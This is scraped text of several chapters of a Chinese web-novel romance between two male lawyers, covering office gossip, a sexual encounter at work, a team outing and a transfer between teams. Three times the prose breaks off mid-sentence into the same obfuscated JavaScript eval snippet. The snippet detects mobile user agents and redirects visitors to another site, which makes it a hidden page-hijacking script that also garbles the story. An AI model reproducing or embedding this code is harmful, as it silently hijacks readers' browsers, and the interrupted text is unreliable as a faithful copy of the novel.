王信鸿顺着他的思路想下去，越想越对，但接着就发现一个不对劲的地方：“不是，你怎么突然这么关心宏远的情况了？之前张总说找你做IPO，你不是给拒了吗？” 尹观庭面不改色：“我什么时候拒了？我说的是以后有机会当然可以合作。” 王信鸿还是很狐疑，可想想尹观庭以前也不认识宏远的这帮人，可能真的就是出于这个专项的考虑吧。 他不由得“啧”了一声：“要不说宏远这几百万没白花呢，换个律师哪儿心思给他们安排这些。” 其实本来也没有想安排的尹观庭：“……” 不知道那边办公室风起云涌的严熤正在手忙脚乱地安抚小伙伴。 第一次恋爱的精神小伙还是没能按捺住秀恩爱的心情，告诉了余畅。 然后喜提余半仙八百条刷屏信息，并且干脆利落地把严熤拉黑了。 在严熤打电话过去询问的时候答曰“我需要缓冲”。 隔了两天，余畅把严熤从黑名单里放了出来，看起来是缓冲完毕了，刚刚发了一条“吃了吗”缓和关系的严熤很快收到了余半仙又一次的信息刷脸。 仔细一看。 链接：《跟男朋友第一次要注意什么》 链接：《兄弟们有没有片推荐》 链接：《跟大家分享一下我和男朋友的第一次》 链接：《同性性行为成为我国艾滋病传播的主要原因之一》 链接：《预防艾滋，以下行为需要避免》 链接：《天猫XX安全套官方旗舰店》 链接：《天猫XXX成人用品旗舰店》 余半仙：我懒得说你 余半仙：好好看，好好学 余半仙：保护好自己 余半仙：别让我给你收尸 严熤：“……” 他看着自己的手机，第一次直观感受到了语言的苍白。 42. 第 42 章 余畅发过来的链接里除了正儿八经的新闻和少数要被屏蔽的东西外，很多是来自于一个C市本地的同性论坛，有些内容属实辣眼睛，也不知道作为一个直男，余半仙是怎么忍下来的。 可谓是为兄弟两肋插刀了。 严熤有些感动又有些好笑，检索了一圈自己的工作群，没发现哪个客户在召唤自己，又看一眼尹观庭的办公室，主任进去之后还没出来，看起来尹观庭一时半会也不会找他。 于是严熤点开一个《跟男朋友第一次要注意什么》的求助帖，暗戳戳地看了起来。 …… 一眨眼到了午饭时间，严熤没学到要注意什么，倒是吃了一肚子的狗粮，这帖子倒是很有言情小说的意味，也不知道是真的还是假的。 他一边想，一边照例热了饭，去找尹观庭吃饭。 正好碰上王信鸿从里面出来，王主任看过来的眼神复杂，最终顶着一副千言万语尽在不言中的表情拍了拍严熤的肩膀：“小严，有什么记得跟我说。” 说完飘走了，留下严熤在原地一头雾水。 严熤顶着满脑袋雾水进了门，才发现尹观庭站在窗户边打电话，一手举着手机，一手插兜，脸上没什么表情，偶尔应个“嗯”字。 以严熤对他的了解，电话那边十有八九是什么难缠的客户，尹观庭这烦躁的气场都快压抑不住了。 见到严熤进来，虽然还是没什么表情，但尹观庭的气息明显平和了不少，他指了指桌子，又指了指严熤提着的饭盒，示意严熤先吃。 严熤当然不会不等他，简单收拾了桌子便把饭菜铺开，自己坐下等着他打完电话。 等着等着，严熤的目光渐渐定格在了尹观庭身上，尹律今天的是一贯的西装革履，虽然不是制服，但众所周知西装对男人身形的修饰作用不可估量，而刚刚看的帖子里某些内容跟着浮现了出来，楼主花了大量笔墨描述自己对制服男友的各种不可描述的想象，严熤的思维一不小心就跟着楼主走了。 他的眼光从尹观庭挺拔的肩背掠过，落到腰间收紧的弧度，再到袖口裸露的手腕和上面扣着的黑色表带，那个楼主某些大胆发言再次出现，他不由自主地开始代入…… 尹观庭有些不耐烦地换了个站姿，顺着腿部的运动，贴身西裤下大腿和臀部的线条清晰可见。 停！ 严熤跟烫到一样收回视线，险些伸手掩面。 靠！我以前从来不乱想的！严熤内心悲愤，都怪余半仙，找的什么乱七八糟的东西。 他在这反思自己的时候，尹观庭总算是结束了这个又长又臭的电话，等他挂了电话回头，就见严熤一脸生无可恋地坐在椅子上，脸和耳朵都有些红。 尹观庭下意识看了看桌边的空调控制面板，26°，很合适的室温。 他走近几步，问道：“脸这么红，很热吗？” 严熤：“……没有。” 不等尹观庭再问，他拿起筷子先发制人：“快吃饭吧师兄，一会凉了。” 尹观庭一挑眉，若有所思地看他一会，这才坐下准备吃饭。 严熤被他看的头皮发麻，生怕哪个表情泄露了心思。按理他不应该这么心虚，他们俩现在是正经情侣，这档子事本来就很正常，但尹观庭平时看上去一副性冷淡的样子实在是很有迷惑性，严熤一度觉得自己师兄应该没这方面的需求。 毕竟确认关系到现在，他们最亲近的动作也只是亲亲抱抱，在起火之前就会分开。 尹观庭不说，严熤自己更不会提，毕竟他对上床这件事还充满迷茫和不可思议，作为成长在信息大爆炸时代的青年，他当然知道两个男人怎么做，但也就仅限于知道要用什么工具和部位，而且对这种使用还充满怀疑——这真的是人能做到的？ 为了避免暴露更多，严熤果断地转移话题，把刚刚王信鸿的奇怪表现如此种种地一说，末了问道：“所以主任这是什么意思？” 尹观庭嘴角抽了抽：“最近忙魔怔了，不用理他。” 严熤对他的判断倒是很信任，闻言没再纠结，反而说起另外一件事：“我最近听小陶说，清溪那个事情最近很忙，我要不要回来帮忙？” 尹观庭夹菜的手一顿：“你不怕谭穆了？” 严熤很不服气：“我什么时候怕过他，我之前以为他是凶手之一，不想见他是怕忍不住打人，但现在又不存在这个问题……要是大家都忙不过来，我也不能一直闲着。” 说到后面，语气有些失落。 平心而论，从法律上谭穆或许没有直接关系，但是从现实逻辑推断，卓宏盛做的那些以次充好的勾当，谭穆真的一点都不知道一点都没参与吗？ 严熤不太相信。 但这都是过去的事情了，谭穆好端端地混到现在还混成了大集团高管，他那些猜测只能烂在肚子里，起码现在宏远还是大客户，他不能因为自己给尹观庭添麻烦。 尹观庭本来想把自己和王信鸿商量的事情告诉严熤，但想了想还是决定等结果出来再说，于是他只是简单说道：“不用担心这个专项，你先处理手上的事情吧。” 严熤嘟囔一句：“那最近也没什么事啊。” 尹观庭没听清：“什么？” 严熤眨眨眼，一脸无辜：“我什么都没说。” 每次看到他这个无辜的表情，尹观庭都有点手痒，只是以前不好动手，但现在不用客气，他直接伸手捏了捏严熤的耳垂：“你最好什么都没说。” 严熤被捏的半边身子一麻：“……” 人顿时安静了。 尹观庭眼看他耳朵上的红晕一路蔓延，再看看严熤一副“专心吃饭别看我”的表情，觉得有点眼熟，刚刚他打完电话回头看严熤，似乎也是这幅表情？ 现在想起来这不是什么被热到了，应该是害羞了。 但是怎么了就突然害羞了？ 尹观庭不动声色地记下，打算等等再问。 按照律所的作息，12点到下午2点之间是午休时间，一些有午睡习惯的律师就会抓紧时间趴着睡一会，这这个时候办公室里都会比较安静。 严熤也是午睡大军的一员，只不过之前都是趴在工位上睡的，但自从成为尹律的男朋友之后，一般中午都会被尹观庭叫到办公室里睡觉。 尹观庭办公室里有一张不大的沙发，严熤身高腿长睡上去只能蜷着身子，看着虽然憋屈，但比起趴着无疑舒服太多，严熤拒绝一两次之后就真香了。 倒是惹得小伙伴们同情不已，谁都知道尹律师中午没有休息的习惯，大中午被老板抓着工作也太惨了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740090|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 严熤没法解释，只能装傻。 他躺在沙发上昏昏欲睡，想着一会儿出去了之后要拿什么工作当借口应付好奇心旺盛的小陶，没注意一般这个时候都安静在办公桌后工作的尹观庭到了身边。 熟悉的气息涌了上来，严熤已经有点不太清醒的意识感受到了来人，迷糊地喊了一声“师兄”。 “嗯，”尹观庭应了一声，刻意放低的声音响在他耳边：“闪闪，你刚刚在想什么？” 什么想什么。 严熤陷在半梦半醒的状态里，脑子里一秒钟八百个想法，毫无逻辑地思维片段被这个声音一勾引，自然而然地生成了一幅画面。 尹观庭举着手机逆着光，流畅的身体线条包裹在西服之下，衬衫扣到了最上面一颗，在上面是随着说话声音滚动的喉结。 严熤：“！” 他猛然坐了起来，急促地喘了几口气。 尹观庭反而被他吓了一跳，看他一幅做噩梦的样子，下意识上前把人抱进怀里，伸手抚着他的背：“怎么了这是？” 严熤被他拢在怀里，本能地弓起身子，把身体反应藏起来，鼻尖闻到尹观庭惯用的香水尾调，但草木清香并没能让他安静下来。 更别说尹观庭手还在他背后顺毛似的轻抚，麻痒的感觉一路到了心里。 严熤有点难受，抓住尹观庭顺毛的手不让他碰自己，有点难以启齿地看着他。 尹观庭低头看着他，精致的五官已经皱了起来，看着有些委屈，漂亮的眼睛里染上了欲色，艳红直接从眼角蔓延至鬓角，整个人都透着不自知的渴求。 他知道严熤在害羞什么了。 尹观庭手捧起他的脸，拇指在他唇上摩挲，笑得有些促狭：“我还以为你没这方面的需求，结果大中午的，嗯？” “我没……”突然就变成了白日宣淫的色狼，严熤十分委屈。 可他之前确实没想过啊，都怪那个帖子！ 简直六月飞雪不足以形容。 “没关系。”尹观庭低头，在他唇上印下一吻，右手往后，在他脖颈后的某个区域轻轻揉了一下——之前就发现严熤这特别敏感。 果然，严熤直接抖了一下，捏住他手臂的力量也变大了。 尹观庭顺势在他身后坐下，把人揽进怀里，手往下摸到了已经明显起立的地方。 严熤：“！！！！” 他直接按住了尹观庭手腕，力道过大反而把尹观庭的手心直接按在小严身上，他不由得身子一软，差点叫出声。 尹观庭轻轻一甩就睁开了他的钳制，慢条斯理地声音在他耳边响起来：“别着急，又不是不给你。” 靠，你在说什么东西！！ 严熤简直又气又急，虽然办公室全磨砂玻璃，外边根本看不见，虽然办公室落地窗的窗帘遮了一半，沙发恰好躲在窗帘的阴影里，虽然现在大家应该都在午休，没人会突然出现…… 有无数个虽然，但是这不仅是公众场合还是办公地点，一想到这个，羞耻感几乎要把严熤淹没了。 他用力攥紧了尹观庭手腕，声音都在抖：“师兄，别……” “闪闪，”尹观庭的吻印在他的耳后，声音压得很低，“办公室隔音不太好，别出声。” “乖一点。” 43. 第 43 章 严熤坐在沙发上怀疑人生。 而罪魁祸首有条不紊地擦干净手，替他整理好衣服，又亲了亲他，这才起身出门去卫生间洗手，这会儿已经回来了，还碰上隔壁办公室的汪律师，严熤听见他们在门口寒暄。 所以这办公室的隔音是真的不行！ 所以尹观庭怎么就敢在办公室做这种事的！ 他以后在这工作的时候不会觉得难为情吗！ 严熤突然想起赵扶桑，这位和尹观庭一起长大的花花公子曾经跟他说，别看尹观庭一副正经样子，他们那些花花公子的手段他不是不会，只是懒得用。 但鉴于海滩晚宴时，赵大公子一顿饭的功夫多出来三四个“宝贝”、“甜心”，附赠热吻五六个，贴身辣舞十五分钟，而尹观庭全程一副“好辣眼睛能不能打死”的表情，他其实不相信赵扶桑的话。 直到今天。 该说不说不愧是从小一起长大的，是他太天真了。 严熤还在思考人生时，尹观庭已经结束了和汪律师的对话，推门走了进来，十分坦然地在他身边坐下，伸手捏了捏他泛红的耳垂：“好点了吗？” 快感的余波还在身体里荡漾，严熤险些被他一捏捏软了身子，反应很大地把头甩开，控诉地看他一眼。 尹观庭忍俊不禁，收回手做了个摊手的动作，放柔语气哄他：“好了，下次不这样了。” “没有下次了！”严熤差点喊出来，好在理智及时回笼，降低了声音，就是明明很严肃的拒绝，莫名像是撒娇。 “嗯嗯，”尹观庭敷衍地哼几声，冲他张开手，“那抱一下？安慰安慰你。” 严熤眯着眼睛看他一会儿，伸手攥住他的手腕往里一折，整个人扑了上去，学着刚刚尹观庭对他一样，把人锁在怀里。 尹观庭两只手规规矩矩地被压在了小腹上。 严熤搂紧他，把头埋在他脖颈间，声音闷闷的：“真没有下次了，我认真的。” 尹观庭明明知道他说的下次是指什么，但还是要逗他：“为什么呢，刚刚弄得你不舒服？可我看你明明快爽哭了。” 严熤：“……” 他恼羞成怒，转头在尹观庭脖子上恨恨地咬了一口：“你等着！” 我今天就去研究余半仙发给我的小黄片！ 尹观庭不知道他的雄心壮志，被咬了一口之后转头看他：“闪闪，你知道你这样在床上等于邀请吗？” 听出他言语间隐含的欲望，严熤沉默了。 第一次被人按着帮忙做手活，刺激太过以至于他都忘记了，尹观庭当时有没有反应来着？ 同为男人自然知道憋着有多难受，严熤犹豫半天之后还是贴在尹观庭耳朵边小小声地问：“师兄……你没……你……要不要我帮忙？” 尹观庭身体一僵，缓慢吸了一口气，伸手捏住他的下巴，几乎有点咬牙切齿：“你要不想继续，就别招我。” 严熤：“……” 他并不是很想知道还能怎么继续，于是果断怂了回去，抱住尹观庭不说话了。 过了一会儿才想起来自己刚刚要说什么，于是很认真地跟尹观庭重复：“我受不了在公众场合做这个，下次要搞得回家。” 尹观庭没忍住低笑出声，觉得他实在坦诚得可爱，于是承诺：“好，下次不会了。” 得到保证，严熤睡意瞬间就上来了，本来中午没睡觉生物钟就在疯狂报警，更别说发泄后自然而然的困倦，没几秒钟他就靠着尹观庭睡着了。 感受身后柔韧的身躯渐渐放松，呼吸平稳下来，尹观庭便小心给他换了个姿势，严熤躺下的时候咕哝了两句，脸颊蹭了蹭他的小腹，但最后还是没醒。 尹观庭也没在动，就这么安静地看着他的睡颜，多年来第一次觉得，这么浪费时间好像也不错。 可惜没安静几秒，手机就开始疯狂震动，尹观庭一看时间，下午两点半，他和一个客户的线上会议马上就要开始了，客户的法务正在群里一一艾特各个要参会的人，反复发送会议链接。 看看严熤睡得正香的脸，尹观庭再次深吸一口气，深感王信鸿禁止办公室恋爱的规矩高明，看起来是时候考虑一下老王的提议，给严熤换个老板了。 …… 最终严熤还是被叫醒了，睡得还有些迷糊的他在尹观庭一串话中只听到让他先回去工作，于是他打了个哈欠，揉揉眼睛，提着饭盒回到了自己的工位。 旁边胖哥和小陶正在讨论案子，讨论着讨论着声音就低了下来。 严熤没注意，坐下之后还是觉得很困，他伸手掩住下半张脸打了个哈欠，顺便揉了揉脸，一边拼命眨眼，试图清醒一些。 旁边胖哥和小陶的声音彻底停了。 严熤自我激励半天之后无果，于是转头准备向隔壁小陶要一包咖啡续命，然而一转头就对上了两张很是担心的面孔。 严熤：“？” 小陶和胖哥脸上是如出一辙的忧心忡忡，小陶十分小心地递过来一张纸：“那个，你先擦擦眼泪，你被尹律师骂了啊？有什么要我们帮忙的吗？” “没事啊小严，”胖哥跟着安慰，“之前被尹律骂哭的律师多了去了，他就是那个性子，你别太往心里去。” 严熤：“……” 他接过小陶的纸巾，把打哈欠逼出来的眼泪擦掉，然后清了清嗓子：“我没被骂，我这是困的，正想问你有没有咖啡给我一包。” “好吧好吧，我给你拿。”小陶一脸“虽然我知道你在逞强但我不揭穿你”的表情，给他拿了一包袋装咖啡。 胖哥很好心地提醒：“你要是不想让人知道，就还是去卫生间冷敷一下眼睛吧，太明显了。” 明显什么明显？ 严熤满头雾水，但还是起身去了一趟卫生间，等和镜子里的自己对上视线，他才知道为什么会发生这种误会。 镜子里的青年眼角一圈红痕，衬着白皙的肤色十分明显，一副被欺负了的样子。 严熤真是万万没想到自己会有这种生理反应，联想到尹观庭那句调笑似的“爽哭了”，顿时晴天霹雳，已经不只是眼角红了，整个人都红了。 他深吸一口气，拧开水龙头哗啦啦地往脸上扑冷水，可算是勉强把温度降下来了，同时内心再一次发誓，自己以后死都不和尹观庭在公众场合有亲密接触了。 洗了几分钟的脸，严熤自觉冷静下来了，但眼睛实在没办法， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740091|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能就这样了，他顶着满脸水珠去拿擦手纸，正好和一个同期的律师助理打了个照面，双方互相礼貌招呼后擦肩而过。 然后第二天“小严被尹律骂了在卫生间里哭果然没有人能逃脱被骂哭的命运”的消息迅速在律所传开来。 等过了一个星期才知道这个传闻的尹律：“……” 行吧，起码从结果来说，也不算冤枉。 …… …… 元旦过后很快就是春节，宏远集团的张宏张总可算是给了回音，他以个人名义和律所签了委托合同，针对宏远集团股权架构的事宜提供法律服务，本质是希望借助尹观庭手里的谭穆的料，把谭英一伙人手里的股权拿回来。 不过此时距离春节假期只剩下了一个多星期，相关事宜都得年后来处理了。 按照惯例，主任团队在年前会有一个内部团建，一般会把尹观庭叫上，现在叫的人又多了一个严熤。 鉴于前段时间严熤被骂哭的消息还沸沸扬扬，大家担心严熤对尹律有心结，周舟还真情实意地给主任提建议，大意就是希望律所的大管家履行一下职责，调停一下矛盾，毕竟小严脾气好长得又好看，被骂离职了那是大家的损失。 王信鸿听得眼角直抽，十分怀疑自己成为了某对情侣之间play的一环，这要不是亲生的师兄弟，明天他就让这两人滚蛋。 等到了团建那天，王信鸿还是没忍住，拉着尹观庭上了自己的车，严熤则和律所的其他小伙伴分散在了其他人的车上。 年期的聚餐王信鸿一般会带上自己的老婆孩子，所以其他人也会很自觉地不上他车。这会儿车里坐了一个看上去只有三十多岁的女人，还有一对四五岁的双胞胎。 尹观庭和他们打了声招呼，便坐在了副驾驶上：“有事跟我说？” “昂，”王信鸿一边开车一边说，“小严那事，我问了问，其他所发展不如咱们，还是不考虑了，至于咱们所里，音姐、易哥、还有赵律师、秦律师，这几个团队是这几年创收不错又刚好缺人的，小严那什么意思？” 尹观庭没吭声。 王信鸿说的这几位律师，其中音姐李鸿音是专注婚姻家事和家族传承的团队，易哥易丞淼是劳动人事方面的专家，赵律是做刑事的，秦律则是以公司业务为主，可以说都是律所的王牌团队。 但这个事情，他其实还没有跟严熤说过。 之前还没在一起时，他说不会炒严熤的鱿鱼，因为舍不得，严熤以为他开玩笑，但他自己知道，这其实不是玩笑。 虽然有些时候会有点影响工作，但他更不想每天看不见人。 最后他只是说：“我再问问。” 王信鸿不知道是不是看出来什么，似有深意地说了一句：“有些时候咱们还是得看远一点，你说对吧？” 尹观庭没回话。 但车内的话语权很快被闹腾的双胞胎占据了，王信鸿配合妻子逗小孩，也没再提起这个话题。 团建预订的别墅很快就到了。 其他人先出发，此刻已经到了，尹观庭老远就看见一身休闲的严熤举着个气球冲自己挥舞。 他笑了笑，还是决定和严熤谈一谈。 44. 第 44 章 今年的团建是租了一个日租的别墅，服务人员则是王信鸿一位开酒店的客户免费提供的，有室外游泳池，室内儿童游乐场，以及自助餐游戏室和影音室。 大冬天的没谁想不开要去外边游泳，于是所有人都聚集在室内，按照规矩，团队里有家室的可以拖家带口，未婚的则有一个家属名额，可以带男女朋友或闺蜜兄弟，只是一般除了成家的几位，其他年轻人都是自己来的。 于是一楼的儿童游乐场基本是小朋友和爸妈的专场，年轻且单身的低年级律师们则统统去了二楼，唱歌的唱歌，玩桌游的玩桌游。 以往尹观庭是下面那一par的，虽然年轻未婚，但毕竟是高级合伙人，他待在那其他人都不是很畅快，于是他会自觉参与几个成家律师的聊天沙龙，主要作用是听和捧哏，在大家炫耀或抱怨时答一句“可不是”、“还有这种事呢”、“也很辛苦”。 年年如此，词库都不带更新的。 但今年多了一个严熤，主任团队那几个社交恐怖分子决定借助这个机会完成尹律和小严的破冰，争取不要让小严因为被骂而留下心理阴影，硬生生把尹观庭拖到了楼上。 严熤哭笑不得，趁着尹观庭被一堆人围着敬酒的当口，手上一使劲把胖哥拉出了人群，找了个角落猫着逼供。 严熤：“你们要干嘛，别说帮我跟他调停，且不说我没有被骂，那个传言已经过去两个星期了！我看上去是这么斤斤计较的人吗？” 胖哥煞有介事：“防患于未然，毕竟你来了半年都顺风顺水的，万一想不开了呢！” 严熤：“直说吧，你们是不是想搞尹律拉我当挡箭牌？” 胖哥连连摇头：“没有没有，真的是想帮你和尹律拉近关系。” 严熤不信：“少来这套，你们平时恨不得绕着师兄走，这会儿非要叫上他，傻了才会相信你们有好心。” 胖哥顿时“哎呦哎呦”地叫唤上了：“师兄诶~哇，你和尹律关系是真的好。” 比你想的好，严熤内心腹诽，干脆直接上手威胁，他伸手抓住胖哥，一使巧劲直接把他手别在了身后：“到底有什么阴谋，说不说！” “哎哎哎！放手放手，我说！”胖哥半真半假地嚎叫两声，左右看了看，发现小陶和周舟等一众娘子军的注意力都在尹观庭身上，于是鬼鬼祟祟地说道，“啧，你没注意芳芳的表姐吗？” 说完伸手往人群里指了指。 芳芳是主任团队的另外一位低年级律师，全名辛如芳，特长和爱好都是跳舞，之前周年庆的舞台剧还指导过严熤跳舞，可惜学生不争气，导致老师十分功力发挥不出来两成。 今天辛如芳带的家属是自己的表姐，有国外某所知名大学的法学博士学位，今年刚回国，据说是已经通过了主任团队的面试，即将成为大家的一员，于是王信鸿大笔一挥，让辛如芳带上她提前和大家熟悉一下。 严熤顺着他手指的方向看过去，辛如芳身边确实有一个知性优雅的女性：“她是不是叫商兰羽来着？” “对喽，”胖哥一打响指，“据说是面试的时候见到了尹律，一见钟情，芳芳就想让他们接触一下。” 严熤：“？？！！” 严熤：“接触一下是什么意思？” 胖哥不明所以：“就是……拉红线啊，你怎么看着不太高兴？嘶……” 胖哥突然反应过来，倒吸一口凉气。 严熤猛然一惊，以为自己暴露了什么，瞬间收敛住表情。 结果就听胖哥问道：“小严，你不会看上那位商姐姐了吧？” 严熤：“……” 突如其来的醋意变成了哭笑不得，严熤几乎想叹气，你们可别乱点鸳鸯谱了。 严熤：“你们就没问过尹律师的意思吗？” 胖哥摆摆手：“不能问，一问尹律当场就给拒了，都不给人反应时间的，以前又不是没发生过，那个被介绍的姑娘当场就哭了，搞得大家都很尴尬。这商姐姐以后还得一起工作呢，搞僵了关系那怎么行，”说着说着胖哥一脸感慨，“不过要是真的看对眼了，估计这位姐姐就得另外找工作了，本来她这个学历在C市就不好找工作，但凡去一线城市呢？可惜说是家里独生女不让走太远。” 严熤听着忍不住追问：“为什么看对眼了就得重新找工作？” 胖哥：“你不知道吗？主任说不准搞办公室恋爱，要是团队内部成了，那要么两个都走，要么走一个留一个。” 严熤：“……” 他不由得想到自己和尹观庭，这妥妥办公室恋爱了吧？ 不过转念一想，主任拿师兄没什么办法的样子，这个规矩应该是属于刑不上合伙人的那种吧。 他们俩在这鬼鬼祟祟八卦半天，尹观庭那边被女孩子们拉走喝了一杯，三言两语把人都打发了，环顾一圈后冲着严熤招了招手：“严熤，走吧，临时开个会。” 胖哥满眼同情，拍了拍他的肩膀：“加油！” 小陶为首的姑娘们更是直接起哄：“大过年的谈什么工作啊，尹律你也太资本家了。” 尹观庭随口回到：“不工作那就没钱过年了。” 深知他创收能力的众人齐刷刷“嘁”了一声。 但毕竟工作要紧，大家打趣几句也就放他们走了。 严熤毕竟还是尹观庭的助理，对他工作内容十分清楚，明白尹观庭是找借口脱离人群，于是慢悠悠跟在尹观庭身后，也不问要去哪儿。 没一会儿，尹观庭引着严熤直接到了别墅的三层，是一个露天阳台，户主做成了玻璃花房的样子，花架十分精致，还摆了各式各样的花种，只是基本都没开花，一眼看过去绿油油的。 尹观庭找了个角落，看着严熤欲言又止的样子。 严熤很少见到他这个表情，联想到胖哥的话，整个人瞬间警惕起来：“你可别告诉我你对商姐姐有什么意思！” “什么商姐姐？”尹观庭正在寻思要怎么跟严熤表达换团队的意思，结果突然听到这句话，差点没能反应过来。 严熤语气有点酸溜溜的：“就是芳芳的表姐啊，人家对你一见钟情来着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740092|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 尹观庭皱眉想了想，总算把商这个姓和人对上了号，正想说什么就见严熤睁着一双大眼睛看着他，满眼都是“哄哄我”。 他要出口的话顿了顿，干脆揽腰把人抱进了怀里，顺势亲了亲他的脸：“这也要吃醋？” 严熤回抱住他，“哼哼”两声：“毕竟人家法学博士，留学海归，还漂亮优雅……唔……” 被物理闭麦的严熤的说不下去了，很快沉浸在这个吻中。 卡在再亲下去就要出事的时间点，两人总算是分开了，严熤偏头，把下巴垫在尹观庭肩膀上，平复着急促的呼吸，感觉尹观庭的手顺着背划下去，有一下没一下地顺毛。 尹观庭语气倒是还能稳住，但扑在严熤耳畔的气息还是灼热的，他用那种从容温和的语调解释道：“闪闪，我一个天生的gay，吃这种醋可就没意思了。” 严熤那股突如其来的作劲过了，便有点不好意思，抱着尹观庭哼哼唧唧撒娇，大意就是“这种事情不由理智控制我也没有很生气”之类的口是心非的话。 反正尹观庭很吃这套，严熤有恃无恐。 事实确实如此，尹观庭看上去对他的撒娇很受用，就着相拥的姿势哄他，严熤算是见识到了独属于尹观庭的花花公子的手段。 怎么说呢，确实比赵扶桑那种浮夸外放不知道高哪儿去了，怪不得尹二少看不上他。 严熤想到这，自己悄咪咪地乐了半天，直到尹观庭在背上轻抚的手停下了。 严熤回过神，把理智从从黏糊糊的氛围中抽出来，喊了一声：“师兄？” 尹观庭放开他，突然开口问道：“闪闪，我之前没问过你，你以后，主要想做哪个方向的业务？” “啊？”严熤有点茫然，虽然不知道为什么尹观庭要在这个时候问这个，但还是很诚实地回答，“我之前想做劳动人事来着。” 尹观庭沉默几秒。 要是严熤的兴趣在建工和商事，那他是真的可以正大光明地把人留在身边，毕竟就C市范围内，这两个领域他就是顶尖的，可严熤想从事是他已经很多年没有接触的领域，再把人拘在身边，未免有些说不过去。 他斟酌几秒，说道：“律所里易丞淼律师你有印象吗？” 严熤回忆了一下，脑海里渐渐浮现出一个有些矮胖的身影，他比划着说道：“就是办公室在1501会议室旁边的那个笑起来像弥勒佛的合伙人吗？” 尹观庭被他的形容逗乐了：“对，就是他，易哥笑起来确实有点像弥勒佛。” 虽然对这位律师不太了解，但以尹观庭的咖位都得叫一声“哥”，这位律师不是资历很老，那就是能力很强，或者二者皆有，严熤有些好奇：“他怎么了？” 尹观庭顿了顿：“……他们团队主要是做劳动人事的，算是C市这方面的龙头律师，最近正好缺人，如果你想做这个方面，那我跟他说一声，年后回来，你就去他们团队报道。” 严熤把他的话在脑子里转了几圈，脸上渐渐显出一个茫然的表情：“……啊？” 45. 第 45 章 严熤一时间不知道应该作何反应。 他既然有自己想要从事方向，尹观庭还利用自己的人脉给他找了一个好的团队，于情于理他都应该开心，但浮现在脑子里的第一个念头竟然是些许委屈。 他问：“为什么这么突然？因为我们在一起了吗？” 就像胖哥之前说的，主任严禁办公室恋爱，要是成了那就走一个留一个，他和尹观庭之间怎么看都不会是尹观庭走人。 “这是一方面的原因，老实说我现在对你严格不起来，这对你不是好事，”尹观庭解释道，语气有些无奈，“另外一方面就是得考虑你未来的发展，确认专业这方面，宜早不宜迟。” 道理严熤自然知道，但要是换了个团队，他和尹观庭的相处时间肯定会减少非常多。 要知道现在他是尹观庭唯一的助理，近乎于同进同出，工作之余能和喜欢的人亲昵一会，足以让人整天都心情舒畅。可他要是换个团队，那工位从16楼搬到15楼就不说了，他的工作时间势必都要给新团队，尹观庭的工作繁忙程度他是知道的，谈情说爱都得是见缝插针，这位易律师既然和尹观庭差不多的咖位，那证明繁忙程度也会不相上下。 到时候他俩可真是看似一层楼实则异地恋了。 尹观庭自然能感受到他的不舍，毕竟他也深有同感，只是王信鸿说得对，凡事得看长远一些，严熤年轻气盛，很多事情可能不在意，但他作为年长的一方，该为小朋友考虑的自然要考虑周全。 律所各团队之间互相独立，哪怕以后他们闹翻了，也不至于影响到严熤的前程。 想到这些，尹观庭还有些动摇的心思彻底定下来：“我不做劳动人事很多年了，这方面不论是经验还是案源都比不上易律师，你继续跟在我身边的话，走这条路会非常艰难。当然并不是说走不通，但既然有大路，又何必走小道呢？” 严熤深吸一口气，倾身过去抱住他，声音模模糊糊的：“我知道的，我就是不想跟你分开。而且你就不能往这方面发展发展嘛！” 说到后面带上了似真似假的抱怨。 尹观庭松了口气，知道他这是答应了，于是笑道：“我这不是等着严律给我喂饭吗？” 严熤正打算说什么，就听楼下传来胖哥中气十足的喊声：“尹律师！小严！你们会开完了没有？快下来唱歌！” 看样子是今天的集体活动开始了，严熤放开尹观庭伸展了一下身体，一边往下走一边招呼尹观庭：“师兄，那我们下去吧，说起来我还没听过你唱歌，你会唱歌吗？” 尹观庭跟上他：“唱得还行，你有想听的吗？可以给你唱。” 严熤：“真的假的？” 尹观庭矜持一笑。 严熤想了想：“那我要听……嗯……你会唱本草纲目吗？” 尹观庭还没说话，等在楼梯下面的胖哥听到了严熤的问话，眼睛一亮：“尹律要露一手吗？！等你绝活好久了！” 严熤想听尹观庭唱rap的心思顿时被转移了：“绝活？什么绝活？” 胖哥：“那你是不知道，尹律唱老歌那是一绝，那叫一个娓娓动听如泣如诉，号称本所男版蔡琴，牛逼吧！” 严熤晶亮的眼神跟着转移到了尹观庭身上。 事实证明孔雀开屏这种事情不看年龄，面对小男友期待的眼神，尹观庭倒是答应的很痛快。 